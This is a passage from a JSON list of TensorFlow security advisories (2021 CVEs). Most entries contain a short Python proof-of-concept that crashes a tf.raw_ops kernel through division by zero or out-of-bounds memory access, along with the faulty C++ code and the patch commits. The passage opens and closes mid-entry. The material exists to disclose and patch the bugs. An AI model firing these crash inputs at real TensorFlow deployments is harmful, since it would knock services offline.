shape in `tf.raw_ops.SparseCountSparseOutput` results in a segmentation fault being thrown out from the standard library as `std::vector` invariants are broken.\n\n```python\nimport tensorflow as tf\n\nindices = tf.constant([], shape=[0, 0], dtype=tf.int64)\nvalues = tf.constant([], shape=[0, 0], dtype=tf.int64)\ndense_shape = tf.constant([-100, -100, -100], shape=[3], dtype=tf.int64)\nweights = tf.constant([], shape=[0, 0], dtype=tf.int64)\n\ntf.raw_ops.SparseCountSparseOutput(indices=indices, values=values, dense_shape=dense_shape, weights=weights, minlength=79, maxlength=96, binary_output=False)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/8f7b60ee8c0206a2c99802e3a4d1bb55d2bc0624/tensorflow/core/kernels/count_ops.cc#L199-L213) assumes the first element of the dense shape is always positive and uses it to initialize a `BatchedMap\u003cT\u003e` (i.e., [`std::vector\u003cabsl::flat_hash_map\u003cint64,T\u003e\u003e`](https://github.com/tensorflow/tensorflow/blob/8f7b60ee8c0206a2c99802e3a4d1bb55d2bc0624/tensorflow/core/kernels/count_ops.cc#L27)) data structure.\n\n```cc\n  bool is_1d = shape.NumElements() == 1;\n  int num_batches = is_1d ? 1 : shape.flat\u003cint64\u003e()(0);\n  ...\n  auto per_batch_counts = BatchedMap\u003cW\u003e(num_batches); \n```\n\nIf the `shape` tensor has more than one element, `num_batches` is the first value in `shape`.\n                       \nEnsuring that the `dense_shape` argument is a valid tensor shape (that is, all elements are non-negative) solves this issue.\n\n### Patches\nWe have patched the issue in GitHub commit [c57c0b9f3a4f8684f3489dd9a9ec627ad8b599f5](https://github.com/tensorflow/tensorflow/commit/c57c0b9f3a4f8684f3489dd9a9ec627ad8b599f5).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:21:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-hr84-fqvp-48mm","https://nvd.nist.gov/vuln/detail/CVE-2021-29521","https://github.com/tensorflow/tensorflow/commit/c57c0b9f3a4f8684f3489dd9a9ec627ad8b599f5","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-449.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-647.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-158.yaml","https://github.com/advisories/GHSA-hr84-fqvp-48mm"],"source_kind":"github","identifiers":["GHSA-hr84-fqvp-48mm","CVE-2021-29521"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":11.195920374895437,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.338Z","updated_at":"2024-10-28T21:21:03.000Z","epss_percentage":0.00015,"epss_percentile":0.018},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXI0cGotNzRtZy04ODY4","url":"https://github.com/advisories/GHSA-r4pj-74mg-8868","title":"Division by 0 in `Conv2DBackpropFilter`","description":"### Impact\nAn attacker can trigger a division by 0 in `tf.raw_ops.Conv2DBackpropFilter`:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[0, 0, 1, 0], dtype=tf.float32)\nfilter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)\nout_backprop = tf.constant([], shape=[0, 0, 1, 1], dtype=tf.float32)\n\ntf.raw_ops.Conv2DBackpropFilter(input=input_tensor, filter_sizes=filter_sizes,\n                                out_backprop=out_backprop,\n                                strides=[1, 66, 18, 1], use_cudnn_on_gpu=True,\n                                padding='SAME', explicit_paddings=[],\n                                data_format='NHWC', dilations=[1, 1, 1, 1])\n```                 \n                    \nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/496c2630e51c1a478f095b084329acedb253db6b/tensorflow/core/kernels/conv_grad_shape_utils.cc#L130) does a modulus operation where the divisor is controlled by the caller:\n\n```cc \n  if (dims-\u003ein_depth % filter_shape.dim_size(num_dims - 2)) { ... }\n```\n    \n### Patches\nWe have patched the issue in GitHub commit [fca9874a9b42a2134f907d2fb46ab774a831404a](https://github.com/tensorflow/tensorflow/commit/fca9874a9b42a2134f907d2fb46ab774a831404a).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n  \n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:21:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-r4pj-74mg-8868","https://nvd.nist.gov/vuln/detail/CVE-2021-29524","https://github.com/tensorflow/tensorflow/commit/fca9874a9b42a2134f907d2fb46ab774a831404a","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-452.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-650.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-161.yaml","https://github.com/advisories/GHSA-r4pj-74mg-8868"],"source_kind":"github","identifiers":["GHSA-r4pj-74mg-8868","CVE-2021-29524"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.366Z","updated_at":"2024-10-30T23:16:55.000Z","epss_percentage":0.00015,"epss_percentile":0.018},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTZmODQtNDJ2Zi1wcHdw","url":"https://github.com/advisories/GHSA-6f84-42vf-ppwp","title":"Division by 0 in `QuantizedMul`","description":"### Impact\nAn attacker can trigger a division by 0 in `tf.raw_ops.QuantizedMul`:\n\n```python\nimport tensorflow as tf\n\nx = tf.zeros([4, 1], dtype=tf.quint8)\ny = tf.constant([], dtype=tf.quint8)\nmin_x = tf.constant(0.0)\nmax_x = tf.constant(0.0010000000474974513)\nmin_y = tf.constant(0.0)\nmax_y = tf.constant(0.0010000000474974513)\n\ntf.raw_ops.QuantizedMul(x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y, max_y=max_y)\n```                            \n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55900e961ed4a23b438392024912154a2c2f5e85/tensorflow/core/kernels/quantized_mul_op.cc#L188-L198) does a division by a quantity that is controlled by the caller:\n\n```cc\ntemplate \u003cclass T, class Toutput\u003e\nvoid VectorTensorMultiply(const T* vector_data, int32 vector_offset,\n                          int64 vector_num_elements, const T* tensor_data,\n                          int32 tensor_offset, int64 tensor_num_elements,\n                          Toutput* output) {\n  for (int i = 0; i \u003c tensor_num_elements; ++i) {\n    const int64 vector_i = i % vector_num_elements;\n    ...\n  }\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [a1b11d2fdd1e51bfe18bb1ede804f60abfa92da6](https://github.com/tensorflow/tensorflow/commit/a1b11d2fdd1e51bfe18bb1ede804f60abfa92da6).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:22:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6f84-42vf-ppwp","https://nvd.nist.gov/vuln/detail/CVE-2021-29528","https://github.com/tensorflow/tensorflow/commit/a1b11d2fdd1e51bfe18bb1ede804f60abfa92da6","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-456.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-654.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-165.yaml","https://github.com/advisories/GHSA-6f84-42vf-ppwp"],"source_kind":"github","identifiers":["GHSA-6f84-42vf-ppwp","CVE-2021-29528"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.415Z","updated_at":"2024-10-30T23:18:35.000Z","epss_percentage":0.00015,"epss_percentile":0.018},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhtZzMtYzd4ai02cXdt","url":"https://github.com/advisories/GHSA-hmg3-c7xj-6qwm","title":"Heap buffer overflow in `SparseTensorToCSRSparseMatrix`","description":"### Impact\nAn attacker can trigger a denial of service via a `CHECK`-fail in converting sparse tensors to CSR Sparse matrices:\n\n```python\nimport tensorflow as tf\nimport numpy as np\nfrom tensorflow.python.ops.linalg.sparse import sparse_csr_matrix_ops\n\nindices_array = np.array([[0, 0]])\nvalue_array = np.array([0.0], dtype=np.float32)\ndense_shape = [0, 0]\n\nst = tf.SparseTensor(indices_array, value_array, dense_shape)\n\nvalues_tensor = sparse_csr_matrix_ops.sparse_tensor_to_csr_sparse_matrix(\n       st.indices, st.values, st.dense_shape)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/800346f2c03a27e182dd4fba48295f65e7790739/tensorflow/core/kernels/sparse/kernels.cc#L66) does a double redirection to access an element of an array allocated on the heap:\n\n```cc\ncsr_row_ptr(indices(i, 0) + 1) += 1;\n```\n                      \nIf the value at `indices(i, 0)` is such that `indices(i, 0) + 1` is outside the bounds of `csr_row_ptr`, this results in writing outside of bounds of heap allocated data.\n\n### Patches\nWe have patched the issue in GitHub commit [1e922ccdf6bf46a3a52641f99fd47d54c1decd13](https://github.com/tensorflow/tensorflow/commit/1e922ccdf6bf46a3a52641f99fd47d54c1decd13).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:23:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-hmg3-c7xj-6qwm","https://nvd.nist.gov/vuln/detail/CVE-2021-29545","https://github.com/tensorflow/tensorflow/commit/1e922ccdf6bf46a3a52641f99fd47d54c1decd13","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-473.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-671.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-182.yaml","https://github.com/advisories/GHSA-hmg3-c7xj-6qwm"],"source_kind":"github","identifiers":["GHSA-hmg3-c7xj-6qwm","CVE-2021-29545"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.590Z","updated_at":"2024-10-30T22:07:59.000Z","epss_percentage":0.00015,"epss_percentile":0.018},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTRmZzQtcDc1ai13NXhq","url":"https://github.com/advisories/GHSA-4fg4-p75j-w5xj","title":"Heap out of bounds in `QuantizedBatchNormWithGlobalNormalization`","description":"### Impact\nAn attacker can cause a segfault and denial of service via accessing data outside of bounds in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`:\n\n```python\nimport tensorflow as tf\n\nt = tf.constant([1], shape=[1, 1, 1, 1], dtype=tf.quint8)\nt_min = tf.constant([], shape=[0], dtype=tf.float32)\nt_max = tf.constant([], shape=[0], dtype=tf.float32)\nm = tf.constant([1], shape=[1], dtype=tf.quint8)\nm_min = tf.constant([], shape=[0], dtype=tf.float32)\nm_max = tf.constant([], shape=[0], dtype=tf.float32)\nv = tf.constant([1], shape=[1], dtype=tf.quint8)\nv_min = tf.constant([], shape=[0], dtype=tf.float32)\nv_max = tf.constant([], shape=[0], dtype=tf.float32)\nbeta = tf.constant([1], shape=[1], dtype=tf.quint8)\nbeta_min = tf.constant([], shape=[0], dtype=tf.float32)\nbeta_max = tf.constant([], shape=[0], dtype=tf.float32)\ngamma = tf.constant([1], shape=[1], dtype=tf.quint8)\ngamma_min = tf.constant([], shape=[0], dtype=tf.float32)\ngamma_max = tf.constant([], shape=[0], dtype=tf.float32) \n\ntf.raw_ops.QuantizedBatchNormWithGlobalNormalization(\n  t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,\n  v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,\n  beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,\n  gamma_max=gamma_max, out_type=tf.qint32,\n  variance_epsilon=0.1, scale_after_normalization=True)\n```                         \n                            \nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc#L176-L189) assumes the inputs are not empty: \n  \n```cc\nconst float input_min = context-\u003einput(1).flat\u003cfloat\u003e()(0);\nconst float input_max = context-\u003einput(2).flat\u003cfloat\u003e()(0);\n...\nconst float mean_min = context-\u003einput(4).flat\u003cfloat\u003e()(0);\nconst float mean_max = context-\u003einput(5).flat\u003cfloat\u003e()(0);\n...\nconst float var_min = context-\u003einput(7).flat\u003cfloat\u003e()(0);\nconst float var_max = context-\u003einput(8).flat\u003cfloat\u003e()(0);\n...\nconst float beta_min = context-\u003einput(10).flat\u003cfloat\u003e()(0);\nconst float beta_max = context-\u003einput(11).flat\u003cfloat\u003e()(0);\n...\nconst float gamma_min = context-\u003einput(13).flat\u003cfloat\u003e()(0);\nconst float gamma_max = context-\u003einput(14).flat\u003cfloat\u003e()(0);\n```\n\nIf any of these inputs is empty, `.flat\u003cT\u003e()` is an empty buffer, so accessing the element at index 0 is accessing data outside of bounds.\n\n### Patches\nWe have patched the issue in GitHub commit [d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b](https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:23:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4fg4-p75j-w5xj","https://nvd.nist.gov/vuln/detail/CVE-2021-29547","https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-475.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-673.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-184.yaml","https://github.com/advisories/GHSA-4fg4-p75j-w5xj"],"source_kind":"github","identifiers":["GHSA-4fg4-p75j-w5xj","CVE-2021-29547"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.617Z","updated_at":"2024-10-31T20:42:15.000Z","epss_percentage":0.00015,"epss_percentile":0.018},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZxdzYtNzJyNy1mZ3c3","url":"https://github.com/advisories/GHSA-vqw6-72r7-fgw7","title":"OOB read in `MatrixTriangularSolve`","description":"### Impact\nThe implementation of [`MatrixTriangularSolve`](https://github.com/tensorflow/tensorflow/blob/8cae746d8449c7dda5298327353d68613f16e798/tensorflow/core/kernels/linalg/matrix_triangular_solve_op_impl.h#L160-L240) fails to terminate kernel execution if one validation condition fails:\n\n```cc\nvoid ValidateInputTensors(OpKernelContext* ctx, const Tensor\u0026 in0,\n                            const Tensor\u0026 in1) override {\n  OP_REQUIRES(\n      ctx, in0.dims() \u003e= 2,\n      errors::InvalidArgument(\"In[0] ndims must be \u003e= 2: \", in0.dims()));\n\n  OP_REQUIRES(\n      ctx, in1.dims() \u003e= 2,\n      errors::InvalidArgument(\"In[0] ndims must be \u003e= 2: \", in1.dims()));\n}\n  \nvoid Compute(OpKernelContext* ctx) override {\n  const Tensor\u0026 in0 = ctx-\u003einput(0);\n  const Tensor\u0026 in1 = ctx-\u003einput(1);\n\n  ValidateInputTensors(ctx, in0, in1);\n\n  MatMulBCast bcast(in0.shape().dim_sizes(), in1.shape().dim_sizes());\n  ...\n}\n```\n  \nSince `OP_REQUIRES` only sets `ctx-\u003estatus()` to a non-OK value and calls `return`, this allows malicious attackers to trigger an out of bounds read:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\nmatrix_array = np.array([])\nmatrix_tensor = tf.convert_to_tensor(np.reshape(matrix_array,(1,0)),dtype=tf.float32)\nrhs_array = np.array([])\nrhs_tensor = tf.convert_to_tensor(np.reshape(rhs_array,(0,1)),dtype=tf.float32)\n\ntf.raw_ops.MatrixTriangularSolve(matrix=matrix_tensor,rhs=rhs_tensor,lower=False,adjoint=False)\n```\n\nAs the two input tensors are empty, the `OP_REQUIRES` in `ValidateInputTensors` should fire and interrupt execution. However, given the implementation of `OP_REQUIRES`, after the `in0.dims() \u003e= 2` fails, execution moves to the initialization of the `bcast` object. This initialization is done with invalid data and results in heap OOB read.\n\n### Patches\nWe have patched the issue in GitHub commit [480641e3599775a8895254ffbc0fc45621334f68](https://github.com/tensorflow/tensorflow/commit/480641e3599775a8895254ffbc0fc45621334f68).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ye Zhang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:23:44.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vqw6-72r7-fgw7","https://nvd.nist.gov/vuln/detail/CVE-2021-29551","https://github.com/tensorflow/tensorflow/commit/480641e3599775a8895254ffbc0fc45621334f68","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-479.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-677.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-188.yaml","https://github.com/advisories/GHSA-vqw6-72r7-fgw7"],"source_kind":"github","identifiers":["GHSA-vqw6-72r7-fgw7","CVE-2021-29551"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.662Z","updated_at":"2024-10-31T20:49:40.000Z","epss_percentage":0.00018,"epss_percentile":0.0288},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWg5cHgtOXZxZy0yMjJo","url":"https://github.com/advisories/GHSA-h9px-9vqg-222h","title":"Heap OOB in `QuantizeAndDequantizeV3`","description":"### Impact\nAn attacker can read data outside of bounds of heap allocated buffer in `tf.raw_ops.QuantizeAndDequantizeV3`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.QuantizeAndDequantizeV3(\n  input=[2.5,2.5], input_min=[0,0], input_max=[1,1], num_bits=[30],\n  signed_input=False, range_given=False, narrow_range=False, axis=3)\n```   \n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/11ff7f80667e6490d7b5174aa6bf5e01886e770f/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L237) does not validate the value of user supplied `axis` attribute before using it to index in the array backing the `input` argument:\n\n```cc\nconst int depth = (axis_ == -1) ? 1 : 